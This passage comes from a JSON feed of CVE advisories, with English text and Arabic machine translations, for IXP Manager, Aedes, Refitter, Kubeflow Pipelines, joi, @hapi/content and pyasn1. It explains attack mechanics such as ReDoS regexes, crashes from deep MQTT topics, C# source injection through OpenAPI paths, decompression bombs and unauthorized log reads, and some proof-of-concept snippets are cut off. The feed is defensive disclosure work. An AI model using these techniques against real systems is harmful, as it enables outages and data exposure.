administrator status. Restricting administrative functions reduces exposure but is not a complete fix. This issue is fixed in version 7.3.0.","ar":"تطبيق IXP Manager هو تطبيق ويب متكامل لإدارة نقاط تبادل الإنترنت. قبل الإصدار 7.3.0، يمكن للمستخدم المصادق عليه وغير المسؤول تصعيد صلاحياته إلى رتبة مسؤول. يؤدي تقييد الوظائف الإدارية إلى تقليل المخاطر ولكنه ليس حلاً كاملاً. تم إصلاح هذه المشكلة في الإصدار 7.3.0."},"refs":[["https://github.com/inex/IXP-Manager/releases/tag/v7.3.0","ref"],["https://github.com/inex/IXP-Manager/security/advisories/GHSA-f5xv-q6fj-hfrc","ref"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"inex-ixp-manager"},{"id":"CVE-2026-63341","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-248","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T23:17:13Z","product":"moscajs aedes","affected":[],"title":{"en":"Aedes has Uncaught Exception and Uncontrolled Resource Consumption","ar":"تطبيق Aedes يعاني من استثناء غير مُلتقط واستهلاك غير مُتحكم به للموارد"},"summary":{"en":"Aedes is an MQTT broker that can run on any stream server. Prior to 1.1.1, the MQTT broker does not bound topic depth or structural complexity before passing topics through `mqemitter` into `qlobber`. A `PUBLISH`, `SUBSCRIBE`, or registered `Will` message containing an excessively deep topic can reach `qlobber._split_words` in `lib/qlobber.js` and trigger an uncaught `too many words` exception. Calls from `handlers/subscribe.js` and the publishing logic are not protected against that exception, so it escapes to the `Node.js event loop` and terminates the entire broker. The `Will` path is independently reachable when a client disconnects ungracefully: it calls `broker.publish` directly and bypasses the `PUBLISH` handler. An attacker must be able to establish an `MQTT session`, authenticated or unauthenticated according to broker configuration. A successful attack disconnects all legitimate clients and prevents reconnection until the broker process restarts. This issue is fixed in version 1.1.1.","ar":"تطبيق Aedes هو وسيط MQTT يمكن تشغيله على أي خادم دفق. قبل الإصدار 1.1.1، لا يقوم وسيط MQTT بتقييد عمق المواضيع أو تعقيدها الهيكلي قبل تمرير المواضيع عبر `mqemitter` إلى `qlobber`. يمكن لرسالة `PUBLISH` أو `SUBSCRIBE` أو رسالة `Will` مسجلة تحتوي على موضوع عميق للغاية الوصول إلى `qlobber._split_words` في الملف `lib/qlobber.js` وتفعيل استثناء غير مُلتقط من نوع `too many words`. الاتصالات الواردة من `handlers/subscribe.js` ومنطق النشر غير محمية ضد هذا الاستثناء، مما يجعله يتسرب إلى `Node.js event loop` وينهي الوسيط بأكمله. يمكن الوصول إلى مسار `Will` بشكل مستقل عندما ينقطع اتصال العميل بشكل غير سليم: فهو يستدعي `broker.publish` مباشرة ويتجاوز معالج `PUBLISH`. يجب أن يكون المهاجم قادرًا على إنشاء جلسة `MQTT`، سواء كانت مصادق عليها أو بدون مصادقة وفقًا لتكوين الوسيط. يؤدي الهجوم الناجح إلى قطع الاتصال بجميع العملاء الشرعيين ومنع إعادة الاتصال حتى يتم إعادة تشغيل عملية الوسيط. تم إصلاح هذه المشكلة في الإصدار 1.1.1."},"refs":[["https://github.com/moscajs/aedes/commit/b9024faa4cb416c4c6980760b4d7f55336315f2d","ref"],["https://github.com/moscajs/aedes/releases/tag/v1.1.1","ref"],["https://github.com/moscajs/aedes/security/advisories/GHSA-xxqp-5qx8-gj5q","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"moscajs-aedes"},{"id":"CVE-2026-63345","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T23:17:13Z","product":"christianhelle refitter","affected":[],"title":{"en":"Refitter: C# source injection through OpenAPI path keys","ar":"أداة Refitter: حقن شيفرة مصدريّة بلغة C# من خلال مفاتيح مسارات OpenAPI"},"summary":{"en":"Refitter is a tool for generating a C# REST API client using the Refit library. Prior to 2.1.2, OpenAPI `paths`-object keys are emitted verbatim into Refit route attributes such as `[Get(\"<path>\")]` without escaping quotation marks or restricting characters. An attacker-influenced single-line, slash-prefixed path survives default validation without `--skip-validation` and can close the attribute string, interface, and namespace while introducing a top-level file class and reopening the generated structure to keep valid C#. A `[ModuleInitializer]` method executes attacker code when an application compiles and loads the generated assembly at startup, even without calling the generated client. The enum and default value sinks are escaped and are not the vulnerable path-emission sink. The behavior was verified on Refitter 2.0.0 with .NET 8. This issue is fixed in version 2.1.2.","ar":"أداة Refitter هي أداة لإنشاء عميل API REST بلغة C# باستخدام مكتبة Refit. قبل الإصدار 2.1.2، يتم تضمين مفاتيح كائن `paths` الخاصة بـ OpenAPI حرفياً في سمات مسار Refit مثل `[Get(\"<path>\")]` دون الهروب من علامات التنصيص أو تقييد الأحرف. يمكن لمسار أحادي السطر يبدأ بشرطة مائلة ويتأثر بالمهاجم أن يتجاوز التحقق الافتراضي دون استخدام `--skip-validation`، ويمكنه إغلاق سلسلة السمات، والواجهة، ومساحة الأسماء بينما يقوم بإدخال فئة ملف في المستوى الأعلى وإعادة فتح الهيكل المُنشأ للحفاظ على صلاحية شيفرة C#. تنفذ دالة `[ModuleInitializer]` شيفرة المهاجم عندما يقوم التطبيق بتجميع وتحميل التجميع المُنشأ عند بدء التشغيل، حتى دون استدعاء العميل المُنشأ. تم الهروب من مصادر القيم المُدرجة والتلقائية وليست هي مصدر إصدار المسار المعرض للخطر. تم التحقق من السلوك على الإصدار Refitter 2.0.0 مع .NET 8. تم إصلاح هذه المشكلة في الإصدار 2.1.2."},"refs":[["https://github.com/christianhelle/refitter/commit/793d2632899c2022511dfc15e30725ef69073973","ref"],["https://github.com/christianhelle/refitter/pull/1178","ref"],["https://github.com/christianhelle/refitter/releases/tag/2.1.2","ref"],["https://github.com/christianhelle/refitter/security/advisories/GHSA-3fhm-p725-h3g3","ref"],["https://github.com/user-attachments/files/29395228/maintainer-report.txt","ref"],["https://github.com/user-attachments/files/29395229/make_spec.py","ref"],["https://github.com/user-attachments/files/29395230/reproduce.sh","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"christianhelle-refitter"},{"id":"CVE-2026-118761","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-409","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:13:38Z","product":"github.com/kubeflow/pipelines","affected":[["< 0.0.0-20260831164314-ba9ae72cc860","0.0.0-20260831164314-ba9ae72cc860"]],"title":{"en":"Kubeflow Pipelines: Pipeline archive upload allows decompression bomb to exhaust server memory","ar":"ثغرة عالية الخطورة في github.com/kubeflow/pipelines"},"summary":{"en":"## Summary The Kubeflow Pipelines API server decompresses uploaded pipeline archives without adequately bounding expanded data in affected versions. A small ZIP or gzip-compressed tar archive can consume disproportionately large amounts of memory while the server locates or reads the pipeline file, potentially exhausting API-server resources and interrupting service. Multipart pipeline and pipeline-version upload processing decompresses the archive before namespace authorization, so a caller who can reach those endpoints does not need a successful pipeline-create authorization decision to trigger the issue. External authentication and network controls can restrict reachability. URL-import handlers authorize before fetching and decompressing a remote archive. The amount of expansion needed to exhaust memory depends on deployment resource limits and concurrent activity; no particular archive is guaranteed to crash every deployment. ## Remediation Upgrade the API server to **[Kubeflow Pipelines 2.18.0](https://github.com/kubeflow/pipelines/releases/tag/2.18.0)**. Versions through 2.17.3 are affected; the first affected release has not been established. [PR #14171](https://github.com/kubeflow/pipelines/pull/14171) bounds compressed input and extracted pipeline data. [PR #14186](https://github.com/kubeflow/pipelines/pull/14186) strengthens the total tar traversal budget, including metadata and skipped entries. The 2.18 release also includes configurable upload and specification limits; operators should review the shipped settings and resource budget. These controls address pipeline archive amplification and do not establish general HTTP-body, temporary-disk, concurrency, or CPU limits. Until upgrading, restrict access to upload and import endpoints and apply deployment-level request and resource controls. A compressed upload-size limit alone does not prevent decompression amplification. Regression tests cover compressed input, selected-entry boundaries, and tar traversa…","ar":"## Summary The Kubeflow Pipelines API server decompresses uploaded pipeline archives without adequately bounding expanded data in affected versions. A small ZIP or gzip-compressed tar archive can consume disproportionately large amounts of memory while the server locates or reads the pipeline file, potentially exhausting API-server resources and interrupting service. Multipart pipeline and pipeline-version upload processing decompresses the archive before namespace authorization, so a caller who can reach those endpoints does not need a successful pipeline-create authorization decision to trigger the issue. External authentication and network controls can restrict reachability. URL-import handlers authorize before fetching and decompressing a remote archive. The amount of expansion needed to exhaust memory depends on deployment resource limits and concurrent activity; no particular archive is guaranteed to crash every deployment. ## Remediation Upgrade the API server to **[Kubeflow Pipelines 2.18.0](https://github.com/kubeflow/pipelines/releases/tag/2.18.0)**. Versions through 2.17.3 are affected; the first affected release has not been established. [PR #14171](https://github.com/kubeflow/pipelines/pull/14171) bounds compressed input and extracted pipeline data. [PR #14186](https://github.com/kubeflow/pipelines/pull/14186) strengthens the total tar traversal budget, including metadata and skipped entries. The 2.18 release also includes configurable upload and specification limits; operators should review the shipped settings and resource budget. These controls address pipeline archive amplification and do not establish general HTTP-body, temporary-disk, concurrency, or CPU limits. Until upgrading, restrict access to upload and import endpoints and apply deployment-level request and resource controls. A compressed upload-size limit alone does not prevent decompression amplification. Regression tests cover compressed input, selected-entry boundaries, and tar traversa…"},"refs":[["https://github.com/advisories/GHSA-8fmv-6rg5-5924","advisory"],["https://github.com/kubeflow/pipelines/security/advisories/GHSA-8fmv-6rg5-5924","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-118761","ref"],["https://github.com/kubeflow/pipelines/pull/14171","ref"],["https://github.com/kubeflow/pipelines/pull/14186","ref"],["https://github.com/kubeflow/pipelines/commit/1121d9a081fdf9e2107c39abb2cd8947727c6953","ref"],["https://github.com/kubeflow/pipelines/commit/ba9ae72cc860e3afbea232185e4132fc2896cac5","ref"],["https://github.com/kubeflow/pipelines/releases/tag/2.18.0","ref"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"github-com-kubeflow-pipelines"},{"id":"CVE-2026-118759","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-200","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:13:29Z","product":"github.com/kubeflow/pipelines","affected":[["< 0.0.0-20260904182349-be4723e33727","0.0.0-20260904182349-be4723e33727"]],"title":{"en":"Kubeflow Pipelines: Run-log endpoint permits unauthorized access to pod logs","ar":"ثغرة عالية الخطورة في github.com/kubeflow/pipelines"},"summary":{"en":"## Summary The Kubeflow Pipelines API server's `GET /apis/v1alpha1/runs/{run_id}/nodes/{node_id}/log` handler retrieves logs without authorizing the caller against the selected run. A caller who can reach the backend and knows a victim run ID and a suitable pod or node identifier can read live or archived logs using the API server's permissions. For live logs, the vulnerable handler also accepts the supplied node ID as a pod name in the run's namespace without verifying that the pod belongs to the run. Depending on the API server's pod-log permissions, a known run ID can therefore permit reading the `main` container logs of an unrelated pod in that namespace. Logs may contain sensitive workload data or credentials. The affected handler does not authenticate the request itself. An external authentication gate or network policy can restrict reachability; public ingress exposure and unauthenticated enumeration of run IDs are not assumed. ## Remediation Upgrade the API server to **[Kubeflow Pipelines 2.18.0](https://github.com/kubeflow/pipelines/releases/tag/2.18.0)**. Versions through 2.17.3 are affected; the first affected release has not been established. [PR #13684](https://github.com/kubeflow/pipelines/pull/13684) authorizes the caller with the `readLog` verb before retrieving live or archived logs. For live logs, it also verifies that the pod's `pipeline/runid` label matches the requested run. Custom Kubernetes roles must grant `readLog` on `runs` in the `pipelines.kubeflow.org` API group; the bundled viewer and editor roles include it. Shared read access alone does not grant log access. Until upgrading, restrict access to the backend log endpoint. Focused regression tests cover authorization denial, HTTP identity propagation, pod/run mismatch, archive retrieval, and cancellation; no new deployed-cluster end-to-end test was performed for this assessment. ## Credit [bugbunny.ai](https://bugbunny.ai) discovered and reported the issue. Nayyar ([@naruto-lgtm](https:/…","ar":"## Summary The Kubeflow Pipelines API server's `GET /apis/v1alpha1/runs/{run_id}/nodes/{node_id}/log` handler retrieves logs without authorizing the caller against the selected run. A caller who can reach the backend and knows a victim run ID and a suitable pod or node identifier can read live or archived logs using the API server's permissions. For live logs, the vulnerable handler also accepts the supplied node ID as a pod name in the run's namespace without verifying that the pod belongs to the run. Depending on the API server's pod-log permissions, a known run ID can therefore permit reading the `main` container logs of an unrelated pod in that namespace. Logs may contain sensitive workload data or credentials. The affected handler does not authenticate the request itself. An external authentication gate or network policy can restrict reachability; public ingress exposure and unauthenticated enumeration of run IDs are not assumed. ## Remediation Upgrade the API server to **[Kubeflow Pipelines 2.18.0](https://github.com/kubeflow/pipelines/releases/tag/2.18.0)**. Versions through 2.17.3 are affected; the first affected release has not been established. [PR #13684](https://github.com/kubeflow/pipelines/pull/13684) authorizes the caller with the `readLog` verb before retrieving live or archived logs. For live logs, it also verifies that the pod's `pipeline/runid` label matches the requested run. Custom Kubernetes roles must grant `readLog` on `runs` in the `pipelines.kubeflow.org` API group; the bundled viewer and editor roles include it. Shared read access alone does not grant log access. Until upgrading, restrict access to the backend log endpoint. Focused regression tests cover authorization denial, HTTP identity propagation, pod/run mismatch, archive retrieval, and cancellation; no new deployed-cluster end-to-end test was performed for this assessment. ## Credit [bugbunny.ai](https://bugbunny.ai) discovered and reported the issue. Nayyar ([@naruto-lgtm](https:/…"},"refs":[["https://github.com/advisories/GHSA-wg5q-x4j9-qm54","advisory"],["https://github.com/kubeflow/pipelines/security/advisories/GHSA-wg5q-x4j9-qm54","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-118759","ref"],["https://github.com/kubeflow/pipelines/pull/13684","ref"],["https://github.com/kubeflow/pipelines/commit/be4723e33727c6dad71a95cba61e8f61562ab20f","ref"],["https://github.com/kubeflow/pipelines/releases/tag/2.18.0","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"github-com-kubeflow-pipelines"},{"id":"CVE-2026-118772","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-1333","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:10:23Z","product":"joi","affected":[[">= 17.1.1, < 17.13.9","17.13.9"],[">= 18.0.0, < 18.3.1","18.3.1"]],"title":{"en":"joi: quadratic-time split in `string().email({ multiple: true })` allows denial of service","ar":"ثغرة عالية الخطورة في joi"},"summary":{"en":"### Summary `Joi.string().email({ multiple: true })` takes quadratic time to split a value that contains a long run of whitespace. One request with 100 KB of spaces blocks the Node.js event loop for several seconds, which causes a denial of service. ### Details When the `multiple` option is set, the `email` rule splits the value into addresses with a regular expression that removes whitespace on each side of the separator: ```js const regex = new RegExp(`\\\\s*[${options.separator ? escapeRegex(options.separator) : ','}]\\\\s*`); // ... const emails = options.multiple ? value.split(regex) : [value]; ``` `String.prototype.split` tries a match at each position of the value. At each position inside a whitespace run, the leading `\\s*` reads the rest of the run, does not find a separator, and backtracks through all of it. A run of `n` whitespace characters without a separator therefore costs `n²` steps. This applies to the default separator and to all custom `separator` values. The fix lets the leading whitespace match start only at the beginning of a whitespace run, so the split is linear: ```js const regex = new RegExp(`(?:(?<!\\\\s)\\\\s+)?[${options.separator ? escapeRegex(options.separator) : ','}]\\\\s*`); ``` The split results do not change. The regular expression is now built only when `multiple` is set. Every `joi` release from `17.1.1` up to and including `17.13.8`, and from `18.0.0` up to and including `18.3.0`, is affected. Every `@hapi/joi` release from `16.0.0` is affected. Workarounds for users who cannot upgrade: - Add `.max()` before `.email()`, for example `Joi.string().max(1000).email({ multiple: true })`. The `max` rule then rejects long values before the `email` rule runs. - Do not use the `abortEarly: false` option with this schema. With `abortEarly: false`, the `email` rule runs even when the `max` rule fails. - Do not use `.trim()` as a workaround. It removes only the whitespace at the start and at the end of the value. ### Proof of concept ```js const Joi…","ar":"### Summary `Joi.string().email({ multiple: true })` takes quadratic time to split a value that contains a long run of whitespace. One request with 100 KB of spaces blocks the Node.js event loop for several seconds, which causes a denial of service. ### Details When the `multiple` option is set, the `email` rule splits the value into addresses with a regular expression that removes whitespace on each side of the separator: ```js const regex = new RegExp(`\\\\s*[${options.separator ? escapeRegex(options.separator) : ','}]\\\\s*`); // ... const emails = options.multiple ? value.split(regex) : [value]; ``` `String.prototype.split` tries a match at each position of the value. At each position inside a whitespace run, the leading `\\s*` reads the rest of the run, does not find a separator, and backtracks through all of it. A run of `n` whitespace characters without a separator therefore costs `n²` steps. This applies to the default separator and to all custom `separator` values. The fix lets the leading whitespace match start only at the beginning of a whitespace run, so the split is linear: ```js const regex = new RegExp(`(?:(?<!\\\\s)\\\\s+)?[${options.separator ? escapeRegex(options.separator) : ','}]\\\\s*`); ``` The split results do not change. The regular expression is now built only when `multiple` is set. Every `joi` release from `17.1.1` up to and including `17.13.8`, and from `18.0.0` up to and including `18.3.0`, is affected. Every `@hapi/joi` release from `16.0.0` is affected. Workarounds for users who cannot upgrade: - Add `.max()` before `.email()`, for example `Joi.string().max(1000).email({ multiple: true })`. The `max` rule then rejects long values before the `email` rule runs. - Do not use the `abortEarly: false` option with this schema. With `abortEarly: false`, the `email` rule runs even when the `max` rule fails. - Do not use `.trim()` as a workaround. It removes only the whitespace at the start and at the end of the value. ### Proof of concept ```js const Joi…"},"refs":[["https://github.com/advisories/GHSA-4528-x5fx-h6hg","advisory"],["https://github.com/hapijs/joi/security/advisories/GHSA-4528-x5fx-h6hg","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-118772","ref"],["https://github.com/hapijs/joi/pull/3162","ref"],["https://github.com/hapijs/joi/pull/3163","ref"],["https://github.com/hapijs/joi/commit/03dc1d909818503b06240dadc81e9227ed2649cf","ref"],["https://github.com/hapijs/joi/commit/807858d7480f5075b0610817e3e44230890fb18e","ref"],["https://github.com/hapijs/joi/releases/tag/v17.13.9","ref"],["https://github.com/hapijs/joi/releases/tag/v18.3.1","ref"]],"epss":0.0047,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"joi"},{"id":"CVE-2026-119202","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-1333","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:10:13Z","product":"@hapi/content","affected":[["<= 6.0.2","6.0.3"]],"title":{"en":"@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service","ar":"ثغرة عالية الخطورة في @hapi/content"},"summary":{"en":"### Summary `Content.disposition()` takes quadratic time when a `Content-Disposition` parameter contains a long token without `=`. One unauthenticated multipart request can block the Node.js event loop for several minutes. ### Details `Content.disposition()` reads the parameters with a global regular expression in `String.prototype.replace()`: ```js /([^\\=\\*\\s]+)(\\*)?\\s*\\=\\s*(?:([^;'\"\\s]+\\'[\\w-]*\\'[^;\\s]+)|(?:\\\"([^\"]*)\\\")|([^;\\s]*))/g ``` The parameter name part `([^\\=\\*\\s]+)` has no anchor. When a run of name characters has no `=` after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length. `@hapi/pez` calls `Content.disposition()` on the header of every part in a `multipart/form-data` body. In hapi, this occurs on each route with `payload.multipart` enabled, before the route handler and before any validation. The only size limit is the route `payload.maxBytes`, which is 1 MB by default. The fix adds an alternative that matches the full run of name characters when no `=` follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear. ```js /([^\\=\\*\\s]+)(\\*)?\\s*\\=\\s*(?:([^;'\"\\s]+\\'[\\w-]*\\'[^;\\s]+)|(?:\\\"([^\"]*)\\\")|([^;\\s]*))|[^\\=\\*\\s]+/g ``` Every release from `3.0.6` (published as `content`) up to and including `@hapi/content` `6.0.2` is affected. Workarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low `payload.maxBytes` on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second. ### Proof of concept Install `@hapi/hapi` with `@hapi/content` `6.0.2`, then run: ```js const Hapi = require('@hapi/hapi'); const Net = require('net'); cons…","ar":"### Summary `Content.disposition()` takes quadratic time when a `Content-Disposition` parameter contains a long token without `=`. One unauthenticated multipart request can block the Node.js event loop for several minutes. ### Details `Content.disposition()` reads the parameters with a global regular expression in `String.prototype.replace()`: ```js /([^\\=\\*\\s]+)(\\*)?\\s*\\=\\s*(?:([^;'\"\\s]+\\'[\\w-]*\\'[^;\\s]+)|(?:\\\"([^\"]*)\\\")|([^;\\s]*))/g ``` The parameter name part `([^\\=\\*\\s]+)` has no anchor. When a run of name characters has no `=` after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length. `@hapi/pez` calls `Content.disposition()` on the header of every part in a `multipart/form-data` body. In hapi, this occurs on each route with `payload.multipart` enabled, before the route handler and before any validation. The only size limit is the route `payload.maxBytes`, which is 1 MB by default. The fix adds an alternative that matches the full run of name characters when no `=` follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear. ```js /([^\\=\\*\\s]+)(\\*)?\\s*\\=\\s*(?:([^;'\"\\s]+\\'[\\w-]*\\'[^;\\s]+)|(?:\\\"([^\"]*)\\\")|([^;\\s]*))|[^\\=\\*\\s]+/g ``` Every release from `3.0.6` (published as `content`) up to and including `@hapi/content` `6.0.2` is affected. Workarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low `payload.maxBytes` on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second. ### Proof of concept Install `@hapi/hapi` with `@hapi/content` `6.0.2`, then run: ```js const Hapi = require('@hapi/hapi'); const Net = require('net'); cons…"},"refs":[["https://github.com/advisories/GHSA-8494-f6mr-cjpv","advisory"],["https://github.com/hapijs/content/security/advisories/GHSA-8494-f6mr-cjpv","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-119202","ref"],["https://github.com/hapijs/content/commit/0993851dc7234976a3fce3a7c31662b213c940fd","ref"],["https://github.com/hapijs/content/releases/tag/v6.0.3","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"hapi-content"},{"id":"CVE-2026-119196","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-407","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:07:04Z","product":"pyasn1","affected":[["<= 0.6.4","0.6.5"]],"title":{"en":"pyasn1 has quadratic CPU consumption in constructed BIT STRING decoding","ar":"ثغرة عالية الخطورة في pyasn1"},"summary":{"en":"## Summary In pyasn1 through 0.6.4, decoding a constructed BIT STRING with many fragments repeatedly shifts and copies the entire value accumulated so far. For fixed-size fragments, CPU time grows quadratically with the encoded input size. An application that passes sufficiently large, attacker-controlled ASN.1 data to an affected decoder can suffer CPU exhaustion during `decode()`; no conversion or formatting of the decoded value is required. The BER and CER decoders reach this path for constructed BIT STRING values, with or without an `asn1Spec`. The DER decoder rejects constructed BIT STRING in schema-less decoding, but its schema-driven path accepts a **definite-length** constructed BIT STRING when given a matching `asn1Spec` and reaches the same vulnerable code. Constructed BIT STRING is not valid DER; this DER exposure is due to decoder permissiveness. DER rejects the indefinite-length form. This is a separate decoder path from the OBJECT IDENTIFIER accumulation fixed in [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj). ## Technical details In the 0.6.4 [`BitStringPayloadDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L173-L301), both the [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L237-L255) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L275-L301) fragment loops call `BitString.fromOctetString(..., prepend=bitString)` for every fragment. [`fromOctetString`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/type/univ.py#L614-L627) shifts the growing `SizedInteger` left by the fragment's bit length and ORs in the fragment. Shifting an ever-larger Python integer for each fixed-size fragment makes total work O(n²) for n fragments. The fragments are siblings, so the decoder's nesting-depth limit does not constrain their count; its limit on the number of length octets does not prevent the demonstrated inputs. In…","ar":"## Summary In pyasn1 through 0.6.4, decoding a constructed BIT STRING with many fragments repeatedly shifts and copies the entire value accumulated so far. For fixed-size fragments, CPU time grows quadratically with the encoded input size. An application that passes sufficiently large, attacker-controlled ASN.1 data to an affected decoder can suffer CPU exhaustion during `decode()`; no conversion or formatting of the decoded value is required. The BER and CER decoders reach this path for constructed BIT STRING values, with or without an `asn1Spec`. The DER decoder rejects constructed BIT STRING in schema-less decoding, but its schema-driven path accepts a **definite-length** constructed BIT STRING when given a matching `asn1Spec` and reaches the same vulnerable code. Constructed BIT STRING is not valid DER; this DER exposure is due to decoder permissiveness. DER rejects the indefinite-length form. This is a separate decoder path from the OBJECT IDENTIFIER accumulation fixed in [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj). ## Technical details In the 0.6.4 [`BitStringPayloadDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L173-L301), both the [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L237-L255) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L275-L301) fragment loops call `BitString.fromOctetString(..., prepend=bitString)` for every fragment. [`fromOctetString`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/type/univ.py#L614-L627) shifts the growing `SizedInteger` left by the fragment's bit length and ORs in the fragment. Shifting an ever-larger Python integer for each fixed-size fragment makes total work O(n²) for n fragments. The fragments are siblings, so the decoder's nesting-depth limit does not constrain their count; its limit on the number of length octets does not prevent the demonstrated inputs. In…"},"refs":[["https://github.com/advisories/GHSA-2qm8-x737-gmw5","advisory"],["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-2qm8-x737-gmw5","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-119196","ref"],["https://github.com/pyasn1/pyasn1/pull/132","ref"],["https://github.com/pyasn1/pyasn1/commit/73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c","ref"],["https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"pyasn1"},{"id":"CVE-2026-119197","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-407","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:06:46Z","product":"pyasn1","affected":[["<= 0.6.4","0.6.5"]],"title":{"en":"pyasn1 has quadratic-complexity denial of service in binary REAL decoding","ar":"ثغرة عالية الخطورة في pyasn1"},"summary":{"en":"## Summary In pyasn1 0.6.4 and earlier, decoding a binary-encoded ASN.1 REAL with a large mantissa can consume CPU time quadratic in the mantissa length. The BER, CER, and DER decoders all use the affected `RealPayloadDecoder`. An application is exposed when it passes attacker-controlled ASN.1 containing a REAL value to one of these decoders, either without an `asn1Spec` or with a schema that includes REAL. The work occurs inside `decode()`; the application does not need to convert, print, or otherwise use the resulting REAL object. This is distinct from [CVE-2026-59886](https://github.com/advisories/GHSA-hm4w-wwcw-mr6r), which concerns converting an already-decoded REAL to a Python float. That issue was fixed in 0.6.4 and its advisory states that decoding alone does not trigger it. ## Root cause and affected components For binary REAL values, [`RealPayloadDecoder.valueDecoder` in v0.6.4](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L535-L603) builds the mantissa one octet at a time: ```python p = 0 while chunk: p <<= 8 p |= chunk[0] chunk = chunk[1:] ``` Each shift processes an integer that grows with the mantissa; with byte strings, each slice also copies the remaining suffix. Repeating both operations for every octet makes decoding quadratic in mantissa size. The decoder's [eight-octet length-field limit](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1704-L1717) does not impose a practical mantissa-size limit for the inputs demonstrated below. [CER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/cer/decoder.py#L51-L62) and [DER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L23-L31) reuse the BER REAL payload decoder, so all three paths reach this loop. The vulnerable loop is present in every available repository release tag inspected, from v0.2.1 through v0.6.4. Runtime measurements below were made on v0.6.4; older releases were checked for the loop, not benchmarked in…","ar":"## Summary In pyasn1 0.6.4 and earlier, decoding a binary-encoded ASN.1 REAL with a large mantissa can consume CPU time quadratic in the mantissa length. The BER, CER, and DER decoders all use the affected `RealPayloadDecoder`. An application is exposed when it passes attacker-controlled ASN.1 containing a REAL value to one of these decoders, either without an `asn1Spec` or with a schema that includes REAL. The work occurs inside `decode()`; the application does not need to convert, print, or otherwise use the resulting REAL object. This is distinct from 